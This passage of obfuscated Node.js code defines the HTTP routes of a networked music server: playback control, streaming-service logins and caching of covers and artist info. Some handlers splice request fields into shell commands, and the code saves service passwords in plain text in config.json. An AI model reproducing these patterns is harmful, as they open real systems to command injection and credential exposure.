_0x50fd11=_0x2db473;_0x4f356a[_0x50fd11(0x288)](''),_0x4f356a['end']();}},'/':{'get':function(_0x447901,_0x92fef6){var _0x395d0f=_0x2db473;_0x92fef6[_0x395d0f(0x43e)](_0x395d0f(0x579),{'config':config});}},'/get-mac':{'get':function(_0x29f1a9,_0x20eeee){var _0x73a0d6=_0x2db473;shell[_0x73a0d6(0x513)](_0x73a0d6(0x427),function(_0x1c3b16,_0x129b83){var _0x33eac7=_0x73a0d6,_0x229e98=_0x129b83[_0x33eac7(0x303)]()[_0x33eac7(0x5b5)]();_0x20eeee[_0x33eac7(0x3ff)](0xc8,{'Content-Type':'text/html'}),_0x20eeee['write'](_0x229e98),_0x20eeee[_0x33eac7(0x20c)]();});}},'/confirmEmail':{'post':function(_0x152f2d,_0x240665){var _0x7b99a6=_0x2db473,_0x24c56d=_0x152f2d['body']['email'];config['registration'][_0x7b99a6(0x2b6)]=_0x24c56d,fs[_0x7b99a6(0x3a2)](_0x7b99a6(0x580),JSON['stringify'](config,null,'	')),respHandlers[_0x7b99a6(0x1fe)]('ok',_0x240665);}},'/tuning':{},'/change_dsd_format':{'post':function(_0x30c002,_0x3186fd){var _0x5b6819=_0x2db473,_0x5d7ae8=_0x30c002[_0x5b6819(0x29c)][_0x5b6819(0x2f5)][_0x5b6819(0x30e)]('_',':')+'-'+_0x30c002[_0x5b6819(0x29c)][_0x5b6819(0x526)]+'-'+_0x30c002[_0x5b6819(0x29c)]['dsd_format'];utils[_0x5b6819(0x45a)](_0x5b6819(0x44b)+_0x5d7ae8),fs[_0x5b6819(0x3a2)]('/etc/dsd.conf',_0x5d7ae8),respHandlers[_0x5b6819(0x1fe)](_0x5b6819(0x50e),_0x3186fd);}},'/erase-cover-cache':{'post':function(_0x5ee9d6,_0x4450de){var _0x56f4d8=_0x2db473;shell[_0x56f4d8(0x513)](_0x56f4d8(0x341),function(_0x30bdca,_0x2f8f3e){var _0x2554c5=_0x56f4d8;g_coversmap={},0x0!=_0x30bdca?respHandlers[_0x2554c5(0x1fe)](_0x2f8f3e[_0x2554c5(0x303)]()[_0x2554c5(0x5b5)](),_0x4450de,!0x0):respHandlers[_0x2554c5(0x1fe)](_0x2554c5(0x276),_0x4450de);});}},'/tidal-poll':{'post':function(_0x4deba3,_0x5d563e){var _0x2cace7=_0x2db473;pollTidal(_0x4deba3[_0x2cace7(0x29c)]['deviceCode'],_0x4deba3[_0x2cace7(0x29c)][_0x2cace7(0x543)],_0x4deba3[_0x2cace7(0x29c)][_0x2cace7(0x27a)],0x0),respHandlers[_0x2cace7(0x1fe)](_0x2cace7(0x376),_0x5d563e);}},'/tidal-login':{'post':function(_0x3e6605,_0x2fc53c){var _0x240f24=_0x2db473;g_tidal_api[_0x240f24(0x2e6)](function(_0x232ee6){var _0x9a2736=_0x240f24;utils[_0x9a2736(0x45a)](_0x232ee6),_0x232ee6&&_0x232ee6[_0x9a2736(0x531)]?respHandlers[_0x9a2736(0x1fe)](_0x232ee6,_0x2fc53c):(config[_0x9a2736(0x59f)]=null,fs[_0x9a2736(0x3a2)](_0x9a2736(0x580),JSON[_0x9a2736(0x2e9)](config,null,'	')),respHandlers['handleSimpleResponse'](g_tidal_api[_0x9a2736(0x2c0)](),_0x2fc53c,!0x0));});}},'/unauthorizeTidal':{'post':function(_0x505aeb,_0x1c9c2c){var _0xa54169=_0x2db473;config[_0xa54169(0x317)]='',config[_0xa54169(0x530)]='',config['tidal_expires_at']=0x0,config['tidal_login']='',config[_0xa54169(0x234)]||config['qobuz_login']||(config['hasCredentials']=!0x1),fs[_0xa54169(0x3a2)](_0xa54169(0x580),JSON[_0xa54169(0x2e9)](config,null,'	')),respHandlers['handleSimpleResponse'](_0xa54169(0x55f),_0x1c9c2c);}},'/external_service_login':{'post':function(_0x26defa,_0x16cfc5){var _0x589dc7=_0x2db473,_0x4ef6ff=_0x26defa['body'][_0x589dc7(0x25e)],_0x36aa35=_0x26defa['body'][_0x589dc7(0x475)],_0x4476df=_0x26defa[_0x589dc7(0x29c)]['service'],_0x4dc2c0=_0x26defa[_0x589dc7(0x29c)][_0x589dc7(0x20f)];_0x589dc7(0x220)==_0x4476df?_0x4dc2c0?(config[_0x589dc7(0x44e)]='',config['qobuz_password']='',config[_0x589dc7(0x344)]='',config[_0x589dc7(0x59f)]||config['highres_login']||(config['hasCredentials']=!0x1),fs[_0x589dc7(0x3a2)](_0x589dc7(0x580),JSON[_0x589dc7(0x2e9)](config,null,'	')),respHandlers['handleSimpleResponse'](_0x589dc7(0x55f),_0x16cfc5)):qobuzLogin(_0x4ef6ff,_0x36aa35,function(_0x4688a2){var _0x11017a=_0x589dc7;if(g_qobuz_api[_0x11017a(0x48c)]())config[_0x11017a(0x44e)]=_0x4ef6ff,config[_0x11017a(0x38c)]=_0x36aa35,config[_0x11017a(0x344)]='ok',fs['writeFileSync'](_0x11017a(0x580),JSON['stringify'](config,null,'	')),respHandlers[_0x11017a(0x1fe)](_0x11017a(0x40e),_0x16cfc5);else{var _0x187a7e=_0x4688a2[_0x11017a(0x388)]||g_qobuz_api[_0x11017a(0x2c0)]();respHandlers[_0x11017a(0x1fe)](_0x187a7e,_0x16cfc5,!0x0);}}):_0x589dc7(0x428)==_0x4476df&&(_0x4dc2c0?(config[_0x589dc7(0x3ab)]='',config[_0x589dc7(0x4ee)]='',config[_0x589dc7(0x234)]='',config['tidal_login']||config[_0x589dc7(0x344)]||(config[_0x589dc7(0x279)]=!0x1),fs[_0x589dc7(0x3a2)](_0x589dc7(0x580),JSON['stringify'](config,null,'	')),respHandlers[_0x589dc7(0x1fe)](_0x589dc7(0x55f),_0x16cfc5)):highresLogin(_0x4ef6ff,_0x36aa35,function(){var _0x30927c=_0x589dc7;g_highres_api[_0x30927c(0x4d7)]()?(config[_0x30927c(0x3ab)]=_0x4ef6ff,config[_0x30927c(0x4ee)]=_0x36aa35,config['highres_login']='ok',fs[_0x30927c(0x3a2)]('./config.json',JSON['stringify'](config,null,'	')),respHandlers['handleSimpleResponse'](_0x30927c(0x40e),_0x16cfc5)):respHandlers[_0x30927c(0x1fe)](g_highres_api[_0x30927c(0x2c0)](),_0x16cfc5,!0x0);}));}},'/queue':{'get':function(_0x5179ce,_0x1f4e14){var _0x29c230=_0x2db473;_0x1f4e14[_0x29c230(0x43e)](_0x29c230(0x53e),{'config':config});}},'/playOptions':{'post':function(_0x26a1dc,_0x34719b){var _0x54dc4a=_0x2db473;client[_0x54dc4a(0x2e4)]()[_0x54dc4a(0x308)](_0x26a1dc[_0x54dc4a(0x29c)]['option'],_0x26a1dc[_0x54dc4a(0x29c)]['val'],function(_0x2e741f){var _0x287f22=_0x54dc4a;respHandlers[_0x287f22(0x4ce)](_0x2e741f,_0x34719b);});}},'/buffer-queue':{'post':function(_0x25d5a6,_0x1f5de4){var _0x36b29e=_0x2db473;client[_0x36b29e(0x2e4)]()['bufferQueue'](),respHandlers['handleSimpleResponse'](_0x36b29e(0x2ec),_0x1f5de4);}},'/logs':{'get':function(_0x5e71ac,_0x4573d5){var _0x4d229b=_0x2db473;shell['exec'](_0x4d229b(0x2cd),function(_0x5a3dff,_0x144139){var _0x5eb28e=_0x4d229b;_0x4573d5[_0x5eb28e(0x40a)](_0x5eb28e(0x49b),_0x5eb28e(0x55a));});}},'/status':{'get':function(_0x4a92c0,_0x4f299e){var _0x320986=_0x2db473;client[_0x320986(0x2e4)]()?client[_0x320986(0x2e4)]()['status'](function(_0x5e4f5c){var _0x2c51e1=_0x320986;respHandlers[_0x2c51e1(0x1fe)](_0x5e4f5c,_0x4f299e);}):respHandlers['handleSimpleResponse']('',_0x4f299e);}},'/stats':{'get':function(_0x1e3899,_0x5a10ff){g_lib_engine['stats'](function(_0xfb2dea){var _0xd668c6=_0x4832;shell['exec'](_0xd668c6(0x588),function(_0x42dff4,_0xc646d){var _0x3e0052=_0xd668c6,_0x366139=_0xc646d[_0x3e0052(0x303)]()[_0x3e0052(0x5b5)]()[_0x3e0052(0x4b9)](/\n/);_0xfb2dea[_0x3e0052(0x1f8)][_0x3e0052(0x49a)]=_0x366139[0x0],_0xfb2dea['result'][_0x3e0052(0x476)]=_0x366139[0x1],respHandlers[_0x3e0052(0x4ce)](_0xfb2dea,_0x5a10ff);});});}},'/volume':{'post':function(_0x556781,_0xa3bf7){var _0x17a587=_0x2db473;utils[_0x17a587(0x45a)](_0x17a587(0x56f)+_0x556781[_0x17a587(0x29c)][_0x17a587(0x498)]),client['getPlayEngine']()[_0x17a587(0x583)](_0x556781[_0x17a587(0x29c)][_0x17a587(0x498)],function(_0x35c0fe){respHandlers['sendAsJson'](_0x35c0fe,_0xa3bf7);});}},'/playid':{'post':function(_0x14f03e,_0x34e531){var _0x41d9c8=_0x2db473;client[_0x41d9c8(0x2e4)]()['playSongIdInQueue'](_0x14f03e['body']['id'],function(_0x40580c){var _0x12f4f1=_0x41d9c8;respHandlers[_0x12f4f1(0x4ce)](_0x40580c,_0x34e531);});}},'/play':{'post':function(_0x345479,_0x22c265){var _0x2b95d0=_0x2db473;client['getPlayEngine']()[_0x2b95d0(0x557)](_0x2b95d0(0x252),function(_0x59cd82){var _0xac7a3=_0x2b95d0;respHandlers[_0xac7a3(0x4ce)](_0x59cd82,_0x22c265);});}},'/pause':{'post':function(_0x4ca656,_0x5297f3){var _0x1014d8=_0x2db473;client['getPlayEngine']()[_0x1014d8(0x557)](_0x1014d8(0x304),function(_0x4d1c73){var _0x344fee=_0x1014d8;respHandlers[_0x344fee(0x4ce)](_0x4d1c73,_0x5297f3);});}},'/stop':{'post':function(_0x4d76b2,_0x348b8c){var _0x44c264=_0x2db473;client[_0x44c264(0x2e4)]()[_0x44c264(0x557)]('stop',function(_0x19fddd){var _0xfbb626=_0x44c264;respHandlers[_0xfbb626(0x4ce)](_0x19fddd,_0x348b8c);});}},'/next':{'post':function(_0xaafbdf,_0x571066){var _0x4e5507=_0x2db473;client[_0x4e5507(0x2e4)]()[_0x4e5507(0x557)](_0x4e5507(0x23e),function(_0x29cbe4){respHandlers['sendAsJson'](_0x29cbe4,_0x571066);});}},'/previous':{'post':function(_0x4395d3,_0x4e6a85){var _0x378e58=_0x2db473;client[_0x378e58(0x2e4)]()[_0x378e58(0x557)](_0x378e58(0x2e2),function(_0x5cb66b){var _0x57120a=_0x378e58;respHandlers[_0x57120a(0x4ce)](_0x5cb66b,_0x4e6a85);});}},'/bump':{'post':function(_0x1dda5d,_0x20b0fd){var _0x15df61=_0x2db473;client[_0x15df61(0x2e4)]()[_0x15df61(0x541)](_0x1dda5d['body'][_0x15df61(0x5d0)],_0x1dda5d[_0x15df61(0x29c)][_0x15df61(0x3cc)],function(_0x53f8f7){var _0x55c72c=_0x15df61;respHandlers[_0x55c72c(0x4ce)](_0x53f8f7,_0x20b0fd);});}},'/remove':{'post':function(_0x6c4cd4,_0x1f3457){var _0x29d1ff=_0x2db473;_0x6c4cd4[_0x29d1ff(0x29c)]['id']?client[_0x29d1ff(0x2e4)]()[_0x29d1ff(0x39b)](_0x6c4cd4[_0x29d1ff(0x29c)]['id'],function(_0x4d65f9){var _0x4e3442=_0x29d1ff;respHandlers[_0x4e3442(0x4ce)](_0x4d65f9,_0x1f3457);}):_0x6c4cd4['body'][_0x29d1ff(0x4cb)]?client[_0x29d1ff(0x2e4)]()[_0x29d1ff(0x54d)](_0x6c4cd4[_0x29d1ff(0x29c)][_0x29d1ff(0x4cb)],function(_0x4cc90d){var _0x3012a8=_0x29d1ff;respHandlers[_0x3012a8(0x4ce)](_0x4cc90d,_0x1f3457);}):respHandlers[_0x29d1ff(0x1fe)](_0x29d1ff(0x23c),_0x1f3457);}},'/clear':{'post':function(_0x52a8d9,_0x916004){var _0x53c4a2=_0x2db473;client[_0x53c4a2(0x2e4)]()[_0x53c4a2(0x557)](_0x53c4a2(0x51f),function(_0x2b0ce7){var _0x469991=_0x53c4a2;respHandlers[_0x469991(0x4ce)](_0x2b0ce7,_0x916004);});}},'/saveRippedAlbum':{'post':function(_0x3bbaa6,_0x7d067b){var _0x5854db=_0x2db473;client[_0x5854db(0x2e4)]()[_0x5854db(0x3c8)](function(_0x2dd06d){var _0x254f6c=_0x5854db;respHandlers[_0x254f6c(0x4ce)](_0x2dd06d,_0x7d067b);});}},'/update':{'post':function(_0x4ae76,_0x38fe2b){var _0x2d9866=_0x2db473,_0x49e54f;_0x4ae76[_0x2d9866(0x29c)][_0x2d9866(0x445)]&&(_0x49e54f=_0x4ae76[_0x2d9866(0x29c)][_0x2d9866(0x445)]),g_lib_engine[_0x2d9866(0x53f)](_0x49e54f,function(_0x53bd17){var _0x2cd27c=_0x2d9866;respHandlers[_0x2cd27c(0x4ce)](_0x53bd17,_0x38fe2b);});}},'/updateFromFM':{'post':function(_0x19c97b,_0x51aa9e){var _0x1ab12e=_0x2db473,_0x2c9a2e;_0x19c97b['body'][_0x1ab12e(0x445)]&&(_0x2c9a2e=Buffer[_0x1ab12e(0x589)](_0x19c97b[_0x1ab12e(0x29c)][_0x1ab12e(0x445)],_0x1ab12e(0x3c7))[_0x1ab12e(0x303)]()),g_lib_engine[_0x1ab12e(0x53f)](_0x2c9a2e,function(_0x373cd4){var _0x5e0cd2=_0x1ab12e;respHandlers[_0x5e0cd2(0x4ce)](_0x373cd4,_0x51aa9e);});}},'/music/:artist/:album/*':{'get':function(_0x2c950d,_0x2f7f38){var _0x25a1cc=_0x2db473,_0x1a2d0a=sanitize(decodeURIComponent(_0x2c950d[_0x25a1cc(0x515)][_0x25a1cc(0x326)]),'_'),_0x444f09=sanitize(decodeURIComponent(_0x2c950d['params'][_0x25a1cc(0x551)]),'_'),_0xb19a30=_0x2c950d[_0x25a1cc(0x445)][_0x25a1cc(0x44a)]('/');_0xb19a30=_0x2c950d[_0x25a1cc(0x445)]['indexOf']('/',_0xb19a30+0x1),_0xb19a30=_0x2c950d[_0x25a1cc(0x445)][_0x25a1cc(0x44a)]('/',_0xb19a30+0x1),_0xb19a30=_0x2c950d[_0x25a1cc(0x445)][_0x25a1cc(0x44a)]('/',_0xb19a30+0x1);var _0x3b6145=_0x2c950d[_0x25a1cc(0x445)]['substring'](_0xb19a30+0x1);_0x3b6145=decodeURIComponent(_0x3b6145);var _0x4a28b8=_0x2c950d['query'][_0x25a1cc(0x23e)];fetchCover(_0x1a2d0a,_0x444f09,_0x3b6145,null,_0x4a28b8,null,!0x1,function(_0xa123e6,_0x54fc85){var _0x36d99e=_0x25a1cc;_0xa123e6&&_0x36d99e(0x467)!==_0xa123e6?(_0xa123e6=getRealCachePath()+_0xa123e6[_0x36d99e(0x457)]('/cache/'['length']),_0x2f7f38[_0x36d99e(0x40b)](_0xa123e6)):_0x2f7f38[_0x36d99e(0x2df)](0x194)[_0x36d99e(0x387)](_0x3b6145+' not found');});}},'/cover-in-dir':{'post':function(_0x30857e,_0x34079b){var _0x32fa68=_0x2db473;getCoverInDir(_0x30857e[_0x32fa68(0x29c)][_0x32fa68(0x445)],function(_0x556e9c){var _0x53b118=_0x32fa68;respHandlers[_0x53b118(0x4ce)]({'url':_0x556e9c},_0x34079b);});}},'/fetchcover':{'post':function(_0x29ceb4,_0x440ad1){var _0x3dea5c=_0x2db473,_0x1f989f,_0x538a5a=sanitize(decodeURIComponent(_0x29ceb4['body'][_0x3dea5c(0x326)]),'_'),_0x5ef79a=sanitize(decodeURIComponent(_0x29ceb4[_0x3dea5c(0x29c)][_0x3dea5c(0x551)]),'_');_0x29ceb4[_0x3dea5c(0x29c)][_0x3dea5c(0x445)]&&(_0x1f989f=decodeURIComponent(_0x29ceb4[_0x3dea5c(0x29c)][_0x3dea5c(0x445)])),fetchCover(_0x538a5a,_0x5ef79a,_0x1f989f,_0x29ceb4['body']['cover_id'],_0x29ceb4['body'][_0x3dea5c(0x23e)],_0x29ceb4['body'][_0x3dea5c(0x3ce)],_0x29ceb4['body'][_0x3dea5c(0x329)],function(_0x41911c,_0x32f0ad){var _0x3219d0=_0x3dea5c;respHandlers[_0x3219d0(0x4ce)]({'url':_0x41911c,'info':_0x32f0ad},_0x440ad1);});}},'/uploadlicense':{'post':function(_0x593fbc,_0x4c9830){var _0x323a39=_0x2db473;_0x593fbc[_0x323a39(0x1ec)]['upload']['mv'](_0x323a39(0x2fa),function(_0x372b26){var _0x4129fa=_0x323a39;if(_0x372b26)return _0x4c9830[_0x4129fa(0x2df)](0x1f4)[_0x4129fa(0x387)](_0x372b26);respHandlers[_0x4129fa(0x1fe)]('License file stored. Restarting HQPlayerd...',_0x4c9830),client['getPlayEngine']()?client[_0x4129fa(0x2e4)]()[_0x4129fa(0x43d)]():_0x4129fa(0x43f)===config[_0x4129fa(0x3aa)]&&(hqpd[_0x4129fa(0x37f)](function(){},!0x0),client[_0x4129fa(0x26f)]());});}},'/copy-to-album-folder':{'post':function(_0x2ab2da,_0x23c4de){var _0x3f9080=_0x2db473,_0x334ca5=sanitize(decodeURIComponent(_0x2ab2da[_0x3f9080(0x29c)][_0x3f9080(0x326)]),'_'),_0x3030cd=sanitize(decodeURIComponent(_0x2ab2da[_0x3f9080(0x29c)][_0x3f9080(0x551)]),'_'),_0x4c62c0=decodeURIComponent(_0x2ab2da[_0x3f9080(0x29c)][_0x3f9080(0x445)]);if(!_0x4c62c0[_0x3f9080(0x45d)](_0x3f9080(0x446))||(_0x4c62c0=_0x4c62c0['replace'](_0x3f9080(0x339),''),fs[_0x3f9080(0x4ed)](otherPath))){var _0x6b7900=_0x4c62c0['substring'](0x0,_0x4c62c0['lastIndexOf']('/'));try{fs[_0x3f9080(0x2b2)](getRealCachePath(_0x334ca5,_0x3030cd)+_0x3f9080(0x58d),_0x6b7900+_0x3f9080(0x26b)),respHandlers[_0x3f9080(0x1fe)](_0x3f9080(0x30f)+_0x6b7900,_0x23c4de);}catch(_0x143154){respHandlers[_0x3f9080(0x1fe)]('Error: '+_0x143154['message'],_0x23c4de);}}else respHandlers[_0x3f9080(0x1fe)]('Error: '+_0x4c62c0+_0x3f9080(0x2d6),_0x23c4de);}},'/uploadcover':{'post':function(_0x3fdb0c,_0x35c325){var _0x4c9750=_0x2db473,_0x362bee=sanitize(decodeURIComponent(_0x3fdb0c[_0x4c9750(0x29c)]['artist']),'_'),_0x3d42f3=sanitize(decodeURIComponent(_0x3fdb0c['body']['album']),'_'),_0x38e053=_0x3fdb0c['files'][_0x4c9750(0x3ec)],_0x4d08fb=_0x4c9750(0x32f)+Math[_0x4c9750(0x3f4)]()+_0x38e053[_0x4c9750(0x2c3)];_0x38e053['mv'](_0x4d08fb,function(_0x3fe937){var _0x5499d6=_0x4c9750;if(_0x3fe937)return _0x35c325[_0x5499d6(0x2df)](0x1f4)[_0x5499d6(0x387)](_0x3fe937);var _0x246853=_0x5499d6(0x24e)+getRealCachePath(_0x362bee,_0x3d42f3)+_0x5499d6(0x21a);_0x246853+=_0x5499d6(0x293)+_0x4d08fb+_0x5499d6(0x5b6)+getRealCachePath(_0x362bee,_0x3d42f3)+'cover.png"',shell['exec'](_0x246853,function(_0x370763,_0x2e44e7){var _0x426274=_0x5499d6;if(0x0==_0x370763){if(setCoversmap(_0x362bee,_0x3d42f3),'true'==_0x3fdb0c[_0x426274(0x29c)][_0x426274(0x46d)]){var _0x3f8713;_0x3fdb0c[_0x426274(0x29c)][_0x426274(0x445)]&&(_0x3f8713=decodeURIComponent(_0x3fdb0c[_0x426274(0x29c)][_0x426274(0x445)]));var _0x27a378=_0x3f8713[_0x426274(0x457)](0x0,_0x3f8713[_0x426274(0x209)]('/'));_0x4d08fb=_0x27a378+'/'+_0x38e053[_0x426274(0x2c3)],utils[_0x426274(0x45a)](_0x4d08fb),_0x38e053['mv'](_0x4d08fb,function(_0x4391c7){var _0x171d72=_0x426274;if(_0x4391c7)return _0x35c325[_0x171d72(0x2df)](0x1f4)[_0x171d72(0x387)](_0x4391c7);respHandlers['handleSimpleResponse'](_0x171d72(0x48e),_0x35c325);});}else respHandlers[_0x426274(0x1fe)](_0x426274(0x4eb),_0x35c325);}else respHandlers[_0x426274(0x1fe)](_0x2e44e7[_0x426274(0x303)]()[_0x426274(0x5b5)](),_0x35c325,!0x0);});});}},'/showalbumfilesext/:path':{'get':function(_0x51e53f,_0xfd460b){var _0x18ee5b=_0x2db473,_0x27e0c7=decodeURIComponent(_0x51e53f[_0x18ee5b(0x515)]['path'])[_0x18ee5b(0x4b9)]('+')[_0x18ee5b(0x2aa)](' ');utils[_0x18ee5b(0x45a)](_0x18ee5b(0x2d2)+_0x27e0c7),_0xfd460b[_0x18ee5b(0x43e)](_0x18ee5b(0x45b),{'album_path':_0x27e0c7,'layout':!0x1});}},'/savecover':{'post':function(_0x1ea420,_0x53227b){var _0x49151d=_0x2db473,_0x12d4c1=sanitize(_0x1ea420[_0x49151d(0x29c)]['artist'],'_');_0x12d4c1||(_0x12d4c1=_0x49151d(0x1eb)),saveCover(sanitize(_0x1ea420[_0x49151d(0x29c)][_0x49151d(0x551)],'_'),_0x12d4c1,_0x1ea420[_0x49151d(0x29c)][_0x49151d(0x439)],function(_0x3b05f4){var _0x787de8=_0x49151d;respHandlers[_0x787de8(0x1fe)](_0x3b05f4,_0x53227b);});}},'/getalbumbyname':{'post':function(_0x5753e2,_0x31cde0){var _0x5dbeff=_0x2db473,_0x2e780a=sanitize(_0x5753e2[_0x5dbeff(0x29c)][_0x5dbeff(0x551)],'_');g_lib_engine['findAlbumByName'](_0x2e780a,function(_0x8bb343){respHandlers['sendAsJson'](_0x8bb343,_0x31cde0);});}},'/savealbum':{'post':function(_0x5a9d62,_0x5570a5){var _0x2d7087=_0x2db473,_0x52361c=sanitize(_0x5a9d62[_0x2d7087(0x29c)][_0x2d7087(0x326)],'_');_0x52361c||(_0x52361c=_0x2d7087(0x1eb));var _0x1f6080=sanitize(_0x5a9d62[_0x2d7087(0x29c)][_0x2d7087(0x551)],'_');g_lib_engine[_0x2d7087(0x33b)](_0x1f6080,_0x52361c,function(_0xd19597){var _0x2f436c=_0x2d7087;respHandlers[_0x2f436c(0x1fe)]('album saved',_0x5570a5);});}},'/savealbuminfo':{'post':function(_0x76955a,_0x30b7bb){var _0x3bd338=_0x2db473,_0x194990=sanitize(_0x76955a[_0x3bd338(0x29c)][_0x3bd338(0x326)],'_');_0x194990||(_0x194990='unknownartist');var _0x374f72=sanitize(_0x76955a[_0x3bd338(0x29c)][_0x3bd338(0x551)],'_'),_0x386bf6=_0x76955a[_0x3bd338(0x29c)][_0x3bd338(0x3ce)];shell[_0x3bd338(0x513)](_0x3bd338(0x24e)+getRealCachePath(_0x194990,_0x374f72)+'"',function(_0x52ef94,_0x217a4b){var _0xd1252c=_0x3bd338;require('fs')['writeFile'](getRealCachePath(_0x194990,_0x374f72)+_0xd1252c(0x50b),_0x386bf6,'utf8',function(_0x55e9c5){_0x55e9c5&&utils['log'](_0x55e9c5);}),respHandlers[_0xd1252c(0x1fe)](_0xd1252c(0x41c),_0x30b7bb);});}},'/saveartist':{'post':function(_0xbb9e60,_0x5583fd){var _0x4aeb11=_0x2db473,_0x3c4c0d=sanitize(_0xbb9e60['body']['artist'],'_'),_0x2915d2=_0xbb9e60[_0x4aeb11(0x29c)]['url'];shell[_0x4aeb11(0x513)](_0x4aeb11(0x5a1)+getRealCachePath(_0x3c4c0d)+_0x4aeb11(0x25a)+encodeURI(_0x2915d2)+'"',function(_0xd8ec74,_0x275ac3){var _0x1c7b2b=_0x4aeb11;0x0==_0xd8ec74?respHandlers[_0x1c7b2b(0x1fe)](_0x1c7b2b(0x31c),_0x5583fd):(utils[_0x1c7b2b(0x45a)](_0x1c7b2b(0x4d3)+_0x275ac3[_0x1c7b2b(0x303)]()),respHandlers[_0x1c7b2b(0x1fe)]('curl problem',_0x5583fd));});}},'/saveartistinfo':{'post':function(_0x24b548,_0x6bb555){var _0x2e5c3f=_0x2db473,_0x19d0ab=sanitize(_0x24b548[_0x2e5c3f(0x29c)][_0x2e5c3f(0x326)],'_'),_0x28f672=_0x24b548[_0x2e5c3f(0x29c)]['summary'];shell['exec'](_0x2e5c3f(0x24e)+getRealCachePath(_0x19d0ab)+'"',function(_0x59f3ed,_0x272b1a){var _0x5209be=_0x2e5c3f;require('fs')[_0x5209be(0x571)](getRealCachePath(_0x19d0ab)+_0x5209be(0x261),_0x28f672,'utf8',function(_0x14ca80){var _0x3e78d0=_0x5209be;_0x14ca80&&utils[_0x3e78d0(0x45a)](_0x14ca80);}),respHandlers['handleSimpleResponse'](_0x5209be(0x31c),_0x6bb555);});}},'/fetchalbumfiles':{'post':function(_0x3d6b5f,_0x5f481b){var _0x238b1a=_0x2db473,_0x27238c=_0x3d6b5f[_0x238b1a(0x29c)][_0x238b1a(0x256)];_0x27238c[_0x238b1a(0x597)]('/')&&shell[_0x238b1a(0x513)](_0x238b1a(0x352)+_0x27238c+_0x238b1a(0x565),function(_0x5de6d5,_0x39b8ed){var _0x2c3c14=_0x238b1a,_0x503926=_0x39b8ed[_0x2c3c14(0x303)]()[_0x2c3c14(0x4b9)](/\n/)[_0x2c3c14(0x42a)](function(_0x20cd73){var _0x4b8190=_0x2c3c14;return'/music-static/'+_0x20cd73[_0x4b8190(0x4b9)](/\//)[_0x4b8190(0x451)](0x2,0x14)['join']('/');});respHandlers[_0x2c3c14(0x4ce)]({'files':_0x503926},_0x5f481b);});}},'/fetchalbuminfo':{'post':function(_0x628922,_0x38804e){var _0x334876=_0x2db473,_0x4cc80d=sanitize(_0x628922[_0x334876(0x29c)][_0x334876(0x551)],'_'),_0x1aa756=sanitize(_0x628922[_0x334876(0x29c)][_0x334876(0x326)],'_'),_0xe0c4e='',_0x2cd919='',_0x564faf='',_0x28ef1d=getRealCachePath(_0x1aa756,_0x4cc80d)+'album.txt';fs[_0x334876(0x4ed)](_0x28ef1d)&&(_0x564faf=fs[_0x334876(0x3a7)](_0x28ef1d,'utf8')),_0x28ef1d=getRealCachePath(_0x1aa756)+_0x334876(0x2d5),fs[_0x334876(0x4ed)](_0x28ef1d)&&(_0xe0c4e=_0x334876(0x59e)+_0x1aa756+'/artist.png'),_0x28ef1d=getRealCachePath(_0x1aa756)+'artist.txt',fs[_0x334876(0x4ed)](_0x28ef1d)&&(_0x2cd919=fs[_0x334876(0x3a7)](_0x28ef1d,_0x334876(0x4e6))),respHandlers['sendAsJson']({'info':_0x564faf,'url':_0xe0c4e,'summary':_0x2cd919},_0x38804e);}},'/fetchartist':{'post':function(_0x3b68f8,_0x51d771){var _0x3a946f=_0x2db473,_0x9232ba=sanitize(_0x3b68f8['body'][_0x3a946f(0x326)],'_'),_0x4a3859='',_0x583d81='',_0x39a5cf=getRealCachePath(_0x9232ba)+'artist.png';fs['existsSync'](_0x39a5cf)&&(_0x4a3859='/cache/'+_0x9232ba+_0x3a946f(0x438)),_0x39a5cf=getRealCachePath(_0x9232ba)+_0x3a946f(0x261),fs[_0x3a946f(0x4ed)](_0x39a5cf)&&(_0x583d81=fs['readFileSync'](_0x39a5cf,_0x3a946f(0x4e6))),respHandlers[_0x3a946f(0x4ce)]({'url':_0x4a3859,'summary':_0x583d81},_0x51d771);}},'/server_status':{'get':function(_0x1cf5e7,_0x577760){var _0x3c2e52=_0x2db473;if(_0x1cf5e7[_0x3c2e52(0x3c0)][_0x3c2e52(0x42e)]){var _0x39570c={'host':_0x1cf5e7[_0x3c2e52(0x3c0)][_0x3c2e52(0x42e)],'path':_0x3c2e52(0x53a)};utils[_0x3c2e52(0x5c3)](_0x39570c,function(_0x4449ce){var _0x1d79b1=_0x3c2e52;if(_0x4449ce[_0x1d79b1(0x45d)]('{'))var _0x1b7d9c=JSON[_0x1d79b1(0x408)](_0x4449ce)[_0x1d79b1(0x1f8)];else _0x1b7d9c=_0x4449ce;respHandlers[_0x1d79b1(0x1fe)](_0x1b7d9c,_0x577760);});}else respHandlers[_0x3c2e52(0x1fe)]('up',_0x577760);}},'/smb-network-info':{'get':function(_0x57bfdc,_0x3a3a8a){var _0x1f2b1e=_0x2db473;shell[_0x1f2b1e(0x513)](_0x1f2b1e(0x4be),function(_0x40b71c,_0x3e6945){var _0x1ff506=_0x1f2b1e;result=encodeURI(_0x3e6945[_0x1ff506(0x303)]()),respHandlers[_0x1ff506(0x1fe)](result,_0x3a3a8a);});}},'/tidalajax/:what':{'get':function(_0x586298,_0x39e28e){var _0x326498=_0x2db473,_0x4cfb5b=_0x586298[_0x326498(0x515)][_0x326498(0x4a5)];g_tidal_api['getUserFavorites']({'id':g_tidal_api[_0x326498(0x4ba)](),'what':_0x4cfb5b,'page':config[_0x326498(0x429)],'offset':0x0},function(_0x470c0f){var _0x31c4b8=_0x326498;respHandlers[_0x31c4b8(0x1fe)](_0x470c0f,_0x39e28e);});}},'/qobuzajax/:type':{'get':function(_0x49525a,_0x196548){var _0x167973=_0x2db473,_0x5159eb=_0x49525a[_0x167973(0x515)][_0x167973(0x3c6)];'song'==_0x5159eb&&(_0x5159eb='track'),g_qobuz_api[_0x167973(0x43b)]({'type':_0x5159eb,'limit':0x1f4},function(_0x167f9d){var _0x4d2297=_0x167973;if(_0x167f9d[_0x4d2297(0x388)])respHandlers[_0x4d2297(0x1fe)]([],_0x196548);else{(_0x167f9d=_0x167f9d[_0x5159eb+'s'])[_0x4d2297(0x3e2)];var _0x40c7e=_0x167f9d['items'][_0x4d2297(0x42a)](function(_0x1ac49d){return _0x1ac49d['id'];});respHandlers[_0x4d2297(0x1fe)](_0x40c7e,_0x196548);}});}},'/favorite':{'post':function(_0x3a4d41,_0x10fd27){var 